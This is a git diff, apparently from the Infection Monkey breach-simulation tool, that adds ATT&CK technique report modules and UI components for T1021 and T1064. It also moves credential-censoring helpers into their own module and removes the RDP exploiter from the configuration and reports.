+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
@@ -0,0 +1,51 @@
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
+
+
+__author__ = "VakarisZ"
+
+
+class T1021(AttackTechnique):
+ tech_id = "T1021"
+ unscanned_msg = "Monkey didn't try to login to any remote services."
+ scanned_msg = "Monkey tried to login to remote services with valid credentials, but failed."
+ used_msg = "Monkey successfully logged into remote services on the network."
+
+ # Gets data about brute force attempts
+ query = [{'$match': {'telem_category': 'exploit',
+ 'data.attempts': {'$not': {'$size': 0}}}},
+ {'$project': {'_id': 0,
+ 'machine': '$data.machine',
+ 'info': '$data.info',
+ 'attempt_cnt': {'$size': '$data.attempts'},
+ 'attempts': {'$filter': {'input': '$data.attempts',
+ 'as': 'attempt',
+ 'cond': {'$eq': ['$$attempt.result', True]}
+ }
+ }
+ }
+ }]
+
+ scanned_query = {'telem_category': 'exploit',
+ 'data.attempts': {'$elemMatch': {'result': True}}}
+
+ @staticmethod
+ def get_report_data():
+ attempts = []
+ if mongo.db.telemetry.count_documents(T1021.scanned_query):
+ attempts = list(mongo.db.telemetry.aggregate(T1021.query))
+ if attempts:
+ status = ScanStatus.USED.value
+ for result in attempts:
+ result['successful_creds'] = []
+ for attempt in result['attempts']:
+ result['successful_creds'].append(parse_creds(attempt))
+ else:
+ status = ScanStatus.SCANNED.value
+ else:
+ status = ScanStatus.UNSCANNED.value
+ data = T1021.get_base_data_by_status(status)
+ data.update({'services': attempts})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py
index fcc230be5..2750c953c 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py
@@ -1,5 +1,4 @@
-from monkey_island.cc.database import mongo
-from monkey_island.cc.services.attack.technique_reports import UsageTechnique
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
__author__ = "VakarisZ"
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py
new file mode 100644
index 000000000..0b1b05489
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py
@@ -0,0 +1,18 @@
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1064(UsageTechnique):
+ tech_id = "T1064"
+ unscanned_msg = "Monkey didn't run scripts or tried to run and failed."
+ scanned_msg = ""
+ used_msg = "Monkey ran scripts on machines in the network."
+
+ @staticmethod
+ def get_report_data():
+ data = T1064.get_tech_base_data()
+ script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query()))
+ data.update({'scripts': script_usages})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
index f0835aff9..7a6c830b8 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
@@ -10,7 +10,7 @@ class T1090(AttackTechnique):
tech_id = "T1090"
unscanned_msg = "Monkey didn't use connection proxy."
scanned_msg = ""
- used_msg = "Monkey used connection proxy."
+ used_msg = "Monkey used connection proxy to communicate with machines on the network."
@staticmethod
def get_report_data():
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py
index b50b19883..d07a66038 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py
@@ -1,4 +1,4 @@
-from monkey_island.cc.services.attack.technique_reports import UsageTechnique
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
__author__ = "VakarisZ"
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
index b918de7f4..72bb0af76 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
@@ -1,7 +1,7 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
-from monkey_island.cc.encryptor import encryptor
+from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
__author__ = "VakarisZ"
@@ -32,7 +32,7 @@ class T1110(AttackTechnique):
result['successful_creds'] = []
for attempt in result['attempts']:
succeeded = True
- result['successful_creds'].append(T1110.parse_creds(attempt))
+ result['successful_creds'].append(parse_creds(attempt))
if succeeded:
status = ScanStatus.USED.value
@@ -47,47 +47,4 @@ class T1110(AttackTechnique):
data.update({'services': attempts})
return data
- @staticmethod
- def parse_creds(attempt):
- """
- Parses used credentials into a string
- :param attempt: login attempt from database
- :return: string with username and used password/hash
- """
- username = attempt['user']
- creds = {'lm_hash': {'type': 'LM hash', 'output': T1110.censor_hash(attempt['lm_hash'])},
- 'ntlm_hash': {'type': 'NTLM hash', 'output': T1110.censor_hash(attempt['ntlm_hash'], 20)},
- 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
- 'password': {'type': 'Plaintext password', 'output': T1110.censor_password(attempt['password'])}}
- for key, cred in creds.items():
- if attempt[key]:
- return '%s ; %s : %s' % (username,
- cred['type'],
- cred['output'])
- @staticmethod
- def censor_password(password, plain_chars=3, secret_chars=5):
- """
- Decrypts and obfuscates password by changing characters to *
- :param password: Password or string to obfuscate
- :param plain_chars: How many plain-text characters should be kept at the start of the string
- :param secret_chars: How many * symbols should be used to hide the remainder of the password
- :return: Obfuscated string e.g. Pass****
- """
- if not password:
- return ""
- password = encryptor.dec(password)
- return password[0:plain_chars] + '*' * secret_chars
-
- @staticmethod
- def censor_hash(hash_, plain_chars=5):
- """
- Decrypts and obfuscates hash by only showing a part of it
- :param hash_: Hash to obfuscate
- :param plain_chars: How many chars of hash should be shown
- :return: Obfuscated string
- """
- if not hash_:
- return ""
- hash_ = encryptor.dec(hash_)
- return hash_[0: plain_chars] + ' ...'
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py
index f1a4d1b83..5f87faabb 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py
@@ -1,5 +1,4 @@
-from monkey_island.cc.database import mongo
-from monkey_island.cc.services.attack.technique_reports import UsageTechnique
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
__author__ = "VakarisZ"
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py
index 89ac44117..c4e5691ff 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py
@@ -12,7 +12,7 @@ class T1145(AttackTechnique):
used_msg = "Monkey found ssh keys on machines in the network."
# Gets data about ssh keys found
- query = [{'$match': {'telem_category': 'system_info_collection',
+ query = [{'$match': {'telem_category': 'system_info',
'data.ssh_info': {'$elemMatch': {'private_key': {'$exists': True}}}}},
{'$project': {'_id': 0,
'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
index ec5ee7781..e164e8830 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
@@ -2,7 +2,7 @@ import abc
import logging
from monkey_island.cc.database import mongo
-from common.utils.attack_utils import ScanStatus, UsageEnum
+from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.attack_config import AttackConfig
from common.utils.code_utils import abstractstatic
@@ -115,47 +115,3 @@ class AttackTechnique(object):
data = cls.get_message_and_status(status)
data.update({'title': cls.technique_title()})
return data
-
-
-class UsageTechnique(AttackTechnique):
- __metaclass__ = abc.ABCMeta
-
- @staticmethod
- def parse_usages(usage):
- """
- Parses data from database and translates usage enums into strings
- :param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1}
- :return: usage string
- """
- try:
- usage['usage'] = UsageEnum[usage['usage']].value[usage['status']]
- except KeyError:
- logger.error("Error translating usage enum. into string. "
- "Check if usage enum field exists and covers all telem. statuses.")
- return usage
-
- @classmethod
- def get_usage_data(cls):
- data = list(mongo.db.telemetry.aggregate(cls.get_usage_query()))
- return list(map(cls.parse_usages, data))
-
- @classmethod
- def get_usage_query(cls):
- """
- :return: Query that parses attack telems for simple report component
- (gets machines and attack technique usage).
- """
- return [{'$match': {'telem_category': 'attack',
- 'data.technique': cls.tech_id}},
- {'$lookup': {'from': 'monkey',
- 'localField': 'monkey_guid',
- 'foreignField': 'guid',
- 'as': 'monkey'}},
- {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
- 'status': '$data.status',
- 'usage': '$data.usage'}},
- {'$addFields': {'_id': 0,
- 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
- 'monkey': 0}},
- {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}},
- {"$replaceRoot": {"newRoot": "$_id"}}]
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py
new file mode 100644
index 000000000..05cef3684
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py
@@ -0,0 +1,46 @@
+from monkey_island.cc.encryptor import encryptor
+
+
+def parse_creds(attempt):
+ """
+ Parses used credentials into a string
+ :param attempt: login attempt from database
+ :return: string with username and used password/hash
+ """
+ username = attempt['user']
+ creds = {'lm_hash': {'type': 'LM hash', 'output': censor_hash(attempt['lm_hash'])},
+ 'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)},
+ 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
+ 'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}}
+ for key, cred in creds.items():
+ if attempt[key]:
+ return '%s ; %s : %s' % (username,
+ cred['type'],
+ cred['output'])
+
+
+def censor_password(password, plain_chars=3, secret_chars=5):
+ """
+ Decrypts and obfuscates password by changing characters to *
+ :param password: Password or string to obfuscate
+ :param plain_chars: How many plain-text characters should be kept at the start of the string
+ :param secret_chars: How many * symbols should be used to hide the remainder of the password
+ :return: Obfuscated string e.g. Pass****
+ """
+ if not password:
+ return ""
+ password = encryptor.dec(password)
+ return password[0:plain_chars] + '*' * secret_chars
+
+
+def censor_hash(hash_, plain_chars=5):
+ """
+ Decrypts and obfuscates hash by only showing a part of it
+ :param hash_: Hash to obfuscate
+ :param plain_chars: How many chars of hash should be shown
+ :return: Obfuscated string
+ """
+ if not hash_:
+ return ""
+ hash_ = encryptor.dec(hash_)
+ return hash_[0: plain_chars] + ' ...'
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py
new file mode 100644
index 000000000..69f178e1c
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py
@@ -0,0 +1,53 @@
+import abc
+
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique, logger
+from common.utils.attack_utils import UsageEnum
+
+
+class UsageTechnique(AttackTechnique):
+ __metaclass__ = abc.ABCMeta
+
+ @staticmethod
+ def parse_usages(usage):
+ """
+ Parses data from database and translates usage enums into strings
+ :param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1}
+ :return: usage string
+ """
+ try:
+ usage['usage'] = UsageEnum[usage['usage']].value[usage['status']]
+ except KeyError:
+ logger.error("Error translating usage enum. into string. "
+ "Check if usage enum field exists and covers all telem. statuses.")
+ return usage
+
+ @classmethod
+ def get_usage_data(cls):
+ """
+ Gets data of usage attack telemetries
+ :return: parsed list of usages from attack telemetries of usage type
+ """
+ data = list(mongo.db.telemetry.aggregate(cls.get_usage_query()))
+ return list(map(cls.parse_usages, data))
+
+ @classmethod
+ def get_usage_query(cls):
+ """
+ :return: Query that parses attack telemetries for a simple report component
+ (gets machines and attack technique usage).
+ """
+ return [{'$match': {'telem_category': 'attack',
+ 'data.technique': cls.tech_id}},
+ {'$lookup': {'from': 'monkey',
+ 'localField': 'monkey_guid',
+ 'foreignField': 'guid',
+ 'as': 'monkey'}},
+ {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
+ 'status': '$data.status',
+ 'usage': '$data.usage'}},
+ {'$addFields': {'_id': 0,
+ 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
+ 'monkey': 0}},
+ {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}},
+ {"$replaceRoot": {"newRoot": "$_id"}}]
diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py
index 3a7398663..93b096ffa 100644
--- a/monkey/monkey_island/cc/services/config_schema.py
+++ b/monkey/monkey_island/cc/services/config_schema.py
@@ -32,14 +32,6 @@ SCHEMA = {
"title": "MSSQL Exploiter",
"attack_techniques": ["T1110"]
},
- {
- "type": "string",
- "enum": [
- "RdpExploiter"
- ],
- "title": "RDP Exploiter (UNSAFE)",
- "attack_techniques": []
- },
{
"type": "string",
"enum": [
@@ -791,19 +783,6 @@ SCHEMA = {
}
}
},
- "rdp_grinder": {
- "title": "RDP grinder",
- "type": "object",
- "properties": {
- "rdp_use_vbs_download": {
- "title": "Use VBS download",
- "type": "boolean",
- "default": True,
- "description": "Determines whether to use VBS or BITS to download monkey to remote machine"
- " (true=VBS, false=BITS)"
- }
- }
- },
"sambacry": {
"title": "SambaCry",
"type": "object",
diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py
index fdba3b549..4f559e153 100644
--- a/monkey/monkey_island/cc/services/reporting/report.py
+++ b/monkey/monkey_island/cc/services/reporting/report.py
@@ -36,7 +36,6 @@ class ReportService:
'SmbExploiter': 'SMB Exploiter',
'WmiExploiter': 'WMI Exploiter',
'SSHExploiter': 'SSH Exploiter',
- 'RdpExploiter': 'RDP Exploiter',
'SambaCryExploiter': 'SambaCry Exploiter',
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
'Ms08_067_Exploiter': 'Conficker Exploiter',
@@ -289,12 +288,6 @@ class ReportService:
processed_exploit['type'] = 'ssh'
return processed_exploit
- @staticmethod
- def process_rdp_exploit(exploit):
- processed_exploit = ReportService.process_general_creds_exploit(exploit)
- processed_exploit['type'] = 'rdp'
- return processed_exploit
-
@staticmethod
def process_vsftpd_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit)
@@ -359,7 +352,6 @@ class ReportService:
'SmbExploiter': ReportService.process_smb_exploit,
'WmiExploiter': ReportService.process_wmi_exploit,
'SSHExploiter': ReportService.process_ssh_exploit,
- 'RdpExploiter': ReportService.process_rdp_exploit,
'SambaCryExploiter': ReportService.process_sambacry_exploit,
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js
new file mode 100644
index 000000000..ce8688af1
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js
@@ -0,0 +1,44 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachine, ScanStatus } from "./Helpers"
+
+
+class T1021 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getServiceColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
+ style: { 'whiteSpace': 'unset' }, width: 160},
+ {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
+ {Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ static renderCreds(creds) {
+ return {creds.map(cred => {cred}
)}
+ };
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1021;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js
new file mode 100644
index 000000000..f57abd4b8
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js
@@ -0,0 +1,30 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { getUsageColumns } from "./Helpers"
+
+
+class T1064 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.scripts.length !== 0 ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1064;
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
index ad4df667d..43dac797c 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
@@ -295,13 +295,12 @@ class ConfigurePageComponent extends AuthComponent {
this.setState({PBAlinuxFile: [], PBAwinFile: []});
}
- onReadFile = (event) => {
+ setConfigOnImport = (event) => {
try {
this.setState({
configuration: JSON.parse(event.target.result),
lastAction: 'import_success'
}, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))});
- this.currentSection = 'basic';
this.currentFormData = {};
} catch(SyntaxError) {
this.setState({lastAction: 'import_failure'});
@@ -335,7 +334,7 @@ class ConfigurePageComponent extends AuthComponent {
importConfig = (event) => {
let reader = new FileReader();
- reader.onload = this.onReadFile;
+ reader.onload = this.setConfigOnImport;
reader.readAsText(event.target.files[0]);
event.target.value = null;
};
@@ -494,7 +493,6 @@ class ConfigurePageComponent extends AuthComponent {
} else if(this.state.selectedSection !== 'attack') {
content = this.renderConfigContent(displayedSchema)
}
-
return (
{this.renderAttackAlertModal()}
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
index a72e0c56d..68ba84aa6 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
@@ -633,22 +633,6 @@ class ReportPageComponent extends AuthComponent {
);
}
- generateRdpIssue(issue) {
- return (
-
- Change {issue.username}'s password to a complex one-use password
- that is not shared with other computers on the network.
-
- The machine {issue.machine} ({issue.ip_address}) is vulnerable to a RDP attack.
-
- The Monkey authenticated over the RDP protocol with user {issue.username} and its password.
-
-
- );
- }
generateSambaCryIssue(issue) {
return (
@@ -927,9 +911,6 @@ generateMSSQLIssue(issue) {
case 'ssh_key':
data = this.generateSshKeysIssue(issue);
break;
- case 'rdp':
- data = this.generateRdpIssue(issue);
- break;
case 'sambacry':
data = this.generateSambaCryIssue(issue);
break;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js
index 431e30fa0..13f9cd92e 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js
@@ -6,6 +6,7 @@ import '../../../styles/Collapse.scss';
import AuthComponent from '../../AuthComponent';
import {ScanStatus} from "../../attack/techniques/Helpers";
import Collapse from '@kunukn/react-collapse';
+
import T1210 from '../../attack/techniques/T1210';
import T1197 from '../../attack/techniques/T1197';
import T1110 from '../../attack/techniques/T1110';
@@ -28,6 +29,8 @@ import T1222 from "../../attack/techniques/T1222";
import T1005 from "../../attack/techniques/T1005";
import T1018 from "../../attack/techniques/T1018";
import T1016 from "../../attack/techniques/T1016";
+import T1021 from "../../attack/techniques/T1021";
+import T1064 from "../../attack/techniques/T1064";
import {extractExecutionStatusFromServerResponse} from "../common/ExecutionStatus";
const tech_components = {
@@ -52,7 +55,9 @@ const tech_components = {
'T1222': T1222,
'T1005': T1005,
'T1018': T1018,
- 'T1016': T1016
+ 'T1016': T1016,
+ 'T1021': T1021,
+ 'T1064': T1064
};
const classNames = require('classnames');